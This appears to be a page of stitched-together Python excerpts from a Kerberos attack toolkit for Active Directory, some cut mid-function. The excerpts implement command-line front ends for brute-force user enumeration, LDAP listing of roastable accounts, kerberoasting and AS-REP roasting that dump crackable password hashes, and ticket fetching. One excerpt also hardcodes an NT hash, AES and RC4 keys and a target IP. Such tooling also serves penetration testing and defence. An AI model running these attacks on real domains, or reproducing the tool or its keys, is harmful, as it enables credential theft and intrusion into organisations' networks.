    elif args.command == 'brute':
        users = []
        with open(args.targets, 'r') as f:
            for line in f:
                users.append(line.strip())
        ksoc = KerberosSocket(args.address)
        ke = KerberosUserEnum(ksoc)
        results = ke.run(args.realm, users)
        logging.info('Enumerated %d users!' % len(results))
        if args.out_file:
            with open(args.out_file, 'w') as f:
                for user in results:
                    f.write(user + '\r\n')

        else:
            print('[+] Enumerated users:')
            for user in results:
                print(user)

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'ldap':
        ldap_url = MSLDAPURLDecoder(args.ldap_url)
        connection = ldap_url.get_connection()
        connection.connect()
        adinfo = connection.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)

        if args.type in ['spn', 'all']:
            logging.debug('Enumerating SPN user accounts...')
            cnt = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_service_user_objects():
                        cnt += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))

            else:
                print('[+] SPN users')
                for user in connection.get_all_service_user_objects():
                    cnt += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d SPN user accounts' % cnt)

        if args.type in ['asrep', 'all']:
            logging.debug('Enumerating ASREP user accounts...')
            ctr = 0
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in connection.get_all_knoreq_user_objects():
                        ctr += 1
                        f.write('%s/%s\r\n' % (domain, user.sAMAccountName))
            else:
                print('[+] ASREP users')
                for user in connection.get_all_knoreq_user_objects():
                    ctr += 1
                    print('%s/%s' % (domain, user.sAMAccountName))

            logging.debug('Enumerated %d ASREP user accounts' % ctr)

        if args.type in ['full', 'all']:
            logging.debug(
                'Enumerating ALL user accounts, this will take some time depending on the size of the domain'
            )
            ctr = 0
            attrs = args.attrs if args.attrs is not None else MSADUser.TSV_ATTRS
            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_users.tsv'),
                          'w',
                          newline='',
                          encoding='utf8') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(attrs)
                    for user in connection.get_all_user_objects():
                        ctr += 1
                        writer.writerow(user.get_row(attrs))

            else:
                logging.debug('Are you sure about this?')
                print('[+] Full user dump')
                print('\t'.join(attrs))
                for user in connection.get_all_user_objects():
                    ctr += 1
                    print('\t'.join([str(x) for x in user.get_row(attrs)]))

            logging.debug('Enumerated %d user accounts' % ctr)

        if args.type in ['custom']:
            if not args.filter:
                raise Exception(
                    'Custom LDAP search requires the search filter to be specified!'
                )
            if not args.attrs:
                raise Exception(
                    'Custom LDAP search requires the attributes to be specified!'
                )

            logging.debug(
                'Perforing search on the AD with the following filter: %s' %
                args.filter)
            logging.debug('Search will contain the following attributes: %s' %
                          ','.join(args.attrs))
            ctr = 0

            if args.out_file:
                with open(os.path.join(basefolder,
                                       basefile + '_ldap_custom.tsv'),
                          'w',
                          newline='') as f:
                    writer = csv.writer(f, delimiter='\t')
                    writer.writerow(args.attrs)
                    for obj in connection.pagedsearch(args.filter, args.attrs):
                        ctr += 1
                        writer.writerow([
                            str(obj['attributes'].get(x, 'N/A'))
                            for x in args.attrs
                        ])

            else:
                for obj in connection.pagedsearch(args.filter, args.attrs):
                    ctr += 1
                    print('\t'.join([
                        str(obj['attributes'].get(x, 'N/A'))
                        for x in args.attrs
                    ]))

            logging.debug('Custom search yielded %d results!' % ctr)
Beispiel #4
0
def main():
    import argparse

    parser = argparse.ArgumentParser(
        description='Tool to perform verious kerberos security tests',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberoast_epilog)
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        help='Enumerate potentially vulnerable users via LDAP',
        epilog=MSLDAPURLDecoder.help_epilog)
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'full', 'custom', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument('ldap_url', help='LDAP connection URL')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    ldap_group.add_argument('-f',
                            '--filter',
                            help='CUSTOM mode only. LDAP search filter')
    ldap_group.add_argument(
        '-a',
        '--attrs',
        action='append',
        help='FULL and CUSTOM mode only. LDAP attributes to display')

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    asreproast_group.add_argument('-e',
                                  '--etype',
                                  default=23,
                                  const=23,
                                  nargs='?',
                                  choices=[23, 17, 18],
                                  type=int,
                                  help='Set preferred encryption type')

    spnroast_group = subparsers.add_parser(
        'spnroast',
        help='Perform spn roasting (aka kerberoasting)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberos_url_help_epilog)
    spnroast_group.add_argument(
        'kerberos_connection_url',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    spnroast_group.add_argument(
        '-e',
        '--etype',
        default=-1,
        const=-1,
        nargs='?',
        choices=[23, 17, 18, -1],
        type=int,
        help='Set preferred encryption type. -1 for all')

    spnroastsspi_group = subparsers.add_parser(
        'spnroast-sspi', help='Perform spn roasting (aka kerberoasting)')
    spnroastsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroastsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroastsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroastsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    multiplexorsspi_group = subparsers.add_parser('spnroast-multiplexor',
                                                  help='')
    multiplexorsspi_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    multiplexorsspi_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    multiplexorsspi_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    multiplexorsspi_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    multiplexorsspi_group.add_argument(
        'mp_url',
        help=
        'Multiplexor URL in the following format: ws://host:port/agentid or wss://host:port/agentid'
    )

    tgt_group = subparsers.add_parser(
        'tgt',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberos_url_help_epilog)
    tgt_group.add_argument(
        'kerberos_connection_url',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgt_group.add_argument('out_file', help='Output CCACHE file')

    tgs_group = subparsers.add_parser(
        'tgs',
        help='Fetches a TGT for the given user credential',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=kerberos_url_help_epilog)
    tgs_group.add_argument(
        'kerberos_connection_url',
        help=
        'Either CCACHE file name or Kerberos login data in the following format: <domain>/<username>/<secret_type>:<secret>@<dc_ip_or_hostname>'
    )
    tgs_group.add_argument(
        'spn',
        help=
        'SPN strong of the service to get TGS for. Expected format: <domain>/<hostname>'
    )
    tgs_group.add_argument('out_file', help='Output CCACHE file')

    auto_group = subparsers.add_parser(
        'auto',
        help=
        'Just get the tickets already. Only works on windows under any domain-user context'
    )
    auto_group.add_argument('dc_ip', help='Target domain controller')
    auto_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    auto_group.add_argument('-e',
                            '--etype',
                            default=23,
                            const=23,
                            nargs='?',
                            choices=[23, 17, 18],
                            type=int,
                            help='Set preferred encryption type')

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    asyncio.run(amain(args))
Beispiel #5
0
        ap_req['pvno'] = krb5_pvno
        ap_req['msg-type'] = MESSAGE_TYPE.KRB_AP_REQ.value
        ap_req['ticket'] = Ticket(tgs['ticket'])
        ap_req['ap-options'] = APOptions(set([]))
        ap_req['authenticator'] = EncryptedData({
            'etype':
            self.kerberos_cipher_type,
            'cipher':
            authenticator_data_enc
        })

        return AP_REQ(ap_req).dump()


if __name__ == '__main__':
    logger.setLevel(logging.DEBUG)

    ccred = User()
    ccred.username = '******'
    ccred.domain = 'TEST.corp'
    ccred.password = '******'
    ccred.NT = 'df85f802490f0384233c895f06ba2011'
    ccred.kerberos_key_aes_256 = 'd3f3593c9debec0be8db57b160f6b0f0c82fb4c0e5dcaa1e1e26ceddcfd05f60'
    ccred.kerberos_key_aes_128 = 'fa021d1bf218a731bad4c19b5bcaae8c'
    ccred.kerberos_key_rc4 = 'b3644f0d983dd058'

    target = TargetServer()
    target.ip = '192.168.9.15'
    target.hostname = 'FileServer'
    target.service = 'cifs'
    target.domain = 'TEST.corp'  #the kerberos realm
Beispiel #6
0
def run():
    import argparse

    parser = argparse.ArgumentParser(
        description=
        'Tool to perform kerberoast attack against service users in MS Active Directory'
    )
    parser.add_argument('-v',
                        '--verbose',
                        action='count',
                        default=0,
                        help='Increase verbosity, can be stacked')

    subparsers = parser.add_subparsers(help='commands')
    subparsers.required = True
    subparsers.dest = 'command'

    ldap_group = subparsers.add_parser(
        'ldap', help='Enumerate potentially vulnerable users via LDAP')
    ldap_group.add_argument('type',
                            choices=['spn', 'asrep', 'all'],
                            help='type of vulnerable users to enumerate')
    ldap_group.add_argument(
        'user',
        help=
        'LDAP user specitication <domain>/<username>:<password>@<ip or hostname>'
    )
    ldap_group.add_argument('-n',
                            '--ntlm',
                            help='Specify this for passing the hash')
    ldap_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    brute_group = subparsers.add_parser(
        'brute', help='Enumerate users via brute-forcing kerberos service')
    brute_group.add_argument('realm', help='Kerberos realm <COMPANY.corp>')
    brute_group.add_argument('address', help='Address of the DC')
    brute_group.add_argument(
        'targets',
        help='File with a list of usernames to enumerate, one user per line')
    brute_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')

    asreproast_group = subparsers.add_parser('asreproast',
                                             help='Perform asrep roasting')
    asreproast_group.add_argument('address', help='Address of the DC')
    asreproast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    asreproast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )
    asreproast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    asreproast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )

    spnroast_group = subparsers.add_parser(
        'spnroast', help='Perform spn roasting (aka kerberoasting)')
    spnroast_group.add_argument(
        'logincreds',
        help=
        'Either CCACHE file name or Kerberos login data <realm>/<username>:<password or NT hash or AES key>@<ip or hostname> Can be omitted for asrep command.'
    )
    spnroast_group.add_argument(
        '-n',
        '--ntlm',
        action='store_true',
        help='Indicate if password is actually an NT hash')
    spnroast_group.add_argument(
        '-a',
        '--aes',
        action='store_true',
        help='Indicate if password is actually an AES key')
    spnroast_group.add_argument(
        '-c',
        '--ccache',
        action='store_true',
        help='Indicate if target is actually a CCACHE file')
    spnroast_group.add_argument(
        '-t',
        '--targets',
        help='File with a list of usernames to roast, one user per line')
    spnroast_group.add_argument(
        '-u',
        '--user',
        action='append',
        help=
        'Target users to roast in <realm>/<username> format or just the <username>, if -r is specified. Can be stacked.'
    )
    spnroast_group.add_argument(
        '-o',
        '--out-file',
        help='Output file base name, if omitted will print results to STDOUT')
    spnroast_group.add_argument(
        '-r',
        '--realm',
        help=
        'Kerberos realm <COMPANY.corp> This overrides realm specification got from the target file, if any'
    )

    args = parser.parse_args()

    if args.verbose == 0:
        logging.basicConfig(level=logging.INFO)
        kerblogger.setLevel(logging.WARNING)
        msldaplogger.setLevel(logging.WARNING)

    elif args.verbose == 1:
        logging.basicConfig(level=logging.DEBUG)
        kerblogger.setLevel(logging.INFO)
        msldaplogger.setLevel(logging.INFO)

    else:
        logging.basicConfig(level=1)
        kerblogger.setLevel(logging.DEBUG)
        msldaplogger.setLevel(logging.DEBUG)

    #ksoc = KerberosSocket(args.target)

    if args.command == 'spnroast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        targets = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    target = KerberosTarget()
                    target.username = username
                    target.domain = domain
                    targets.append(target)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                target = KerberosTarget()
                target.username = username
                target.domain = domain
                targets.append(target)

        if len(targets) == 0:
            raise Exception('No targets loaded!')
        logging.debug('Kerberoast loaded %d targets' % len(targets))

        if args.ccache:
            raise Exception('Not implemented yet!')

        else:
            domain, username, password, target = from_target_string(
                args.logincreds)
            if not password:
                password = getpass.getpass()

            if not domain:
                raise Exception(
                    'Missing domain from kerberos logon credentials')

            if not username:
                raise Exception(
                    'Missing username from kerberos logon credentials')

            if not target:
                raise Exception(
                    'Missing target from kerberos logon credentials')

            cred = KerberosCredential()
            cred.domain = domain
            cred.username = username

            if args.ntlm:
                cred.nt_hash = password

            elif args.aes:
                if len(password) == 32:
                    cred.kerberos_key_aes_128 = password
                elif len(password) == 64:
                    cred.kerberos_key_aes_256 = password
                else:
                    raise Exception(
                        'Kerberos logon credential AES keysize incorrect!')

            else:
                cred.password = password
            ks = KerberosSocket(target)
            ar = Kerberoast(cred, ks)
            hashes = ar.run(targets)

            if args.out_file:
                with open(args.out_file, 'w') as f:
                    for thash in hashes:
                        f.write(thash + '\r\n')

            else:
                for thash in hashes:
                    print(thash)

            logging.info('Kerberoast complete')

    elif args.command == 'asreproast':
        if not args.targets and not args.user:
            raise Exception(
                'No targets loaded! Either -u or -t MUST be specified!')
        creds = []
        if args.targets:
            with open(args.targets, 'r') as f:
                for line in f:
                    line = line.strip()
                    domain = None
                    username = None
                    if line.find('/') != -1:
                        #we take for granted that usernames do not have the char / in them!
                        domain, username = line.split('/')
                    else:
                        username = line

                    if args.realm:
                        domain = args.realm
                    else:
                        if domain is None:
                            raise Exception(
                                'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                            )

                    cred = KerberosCredential()
                    cred.username = username
                    cred.domain = domain
                    creds.append(cred)

        if args.user:
            for user in args.user:
                domain = None
                username = None
                if user.find('/') != -1:
                    #we take for granted that usernames do not have the char / in them!
                    domain, username = user.split('/')
                else:
                    username = user

                if args.realm:
                    domain = args.realm
                else:
                    if domain is None:
                        raise Exception(
                            'Realm is missing. Either use the -r parameter or store the target users in <realm>/<username> format in the targets file'
                        )
                cred = KerberosCredential()
                cred.username = username
                cred.domain = domain
                creds.append(cred)

        logging.debug('ASREPRoast loaded %d targets' % len(creds))

        ks = KerberosSocket(args.address)
        ar = APREPRoast(ks)
        hashes = ar.run(creds)

        if args.out_file:
            with open(args.out_file, 'w') as f:
                for thash in hashes:
                    f.write(thash + '\r\n')

        else:
            for thash in hashes:
                print(thash)

        logging.info('ASREPRoast complete')

    elif args.command == 'brute':
        users = []
        with open(args.targets, 'r') as f:
            for line in f:
                users.append(line.strip())
        ksoc = KerberosSocket(args.address)
        ke = KerberosUserEnum(ksoc)
        results = ke.run(args.realm, users)
        logging.info('Enumerated %d users!' % len(results))
        if args.out_file:
            with open(args.out_file, 'w') as f:
                for user in results:
                    f.write(user + '\r\n')

        else:
            print('[+]Enumerated users:')
            for user in results:
                print(user)

        logging.info('Kerberos user enumeration complete')

    elif args.command == 'ldap':
        domain, username, password, target = from_target_string(args.user)
        if not password:
            password = getpass.getpass()
        ldap_server = MSLDAPTargetServer(target)
        creds = MSLDAPUserCredential(username=username,
                                     domain=domain,
                                     password=password,
                                     is_ntlm=args.ntlm)
        ldap = MSLDAP(creds, ldap_server)
        ldap.connect()
        adinfo = ldap.get_ad_info()
        domain = adinfo.distinguishedName.replace('DC=', '').replace(',', '.')

        spn_users = []
        asrep_users = []
        if args.type in ['spn', 'all']:
            for user in ldap.get_all_service_user_objects():
                spn_users.append('%s/%s' % (domain, user.sAMAccountName))
        if args.type in ['asrep', 'all']:
            for user in ldap.get_all_knoreq_user_objects():
                asrep_users.append('%s/%s' % (domain, user.sAMAccountName))

        if args.out_file:
            basefolder = ntpath.dirname(args.out_file)
            basefile = ntpath.basename(args.out_file)
            if len(spn_users) > 0:
                with open(os.path.join(basefolder,
                                       basefile + '_spn_users.txt'),
                          'w',
                          newline='') as f:
                    for user in spn_users:
                        f.write(user + '\r\n')

            if len(asrep_users) > 0:
                with open(os.path.join(basefolder,
                                       basefile + '_asrep_users.txt'),
                          'w',
                          newline='') as f:
                    for user in asrep_users:
                        f.write(user + '\r\n')
        else:
            print('[+]SPN vuln users:')
            for user in spn_users:
                print(user)
            print('[+]ASREP vuln users:')
            for user in asrep_users:
                print(user)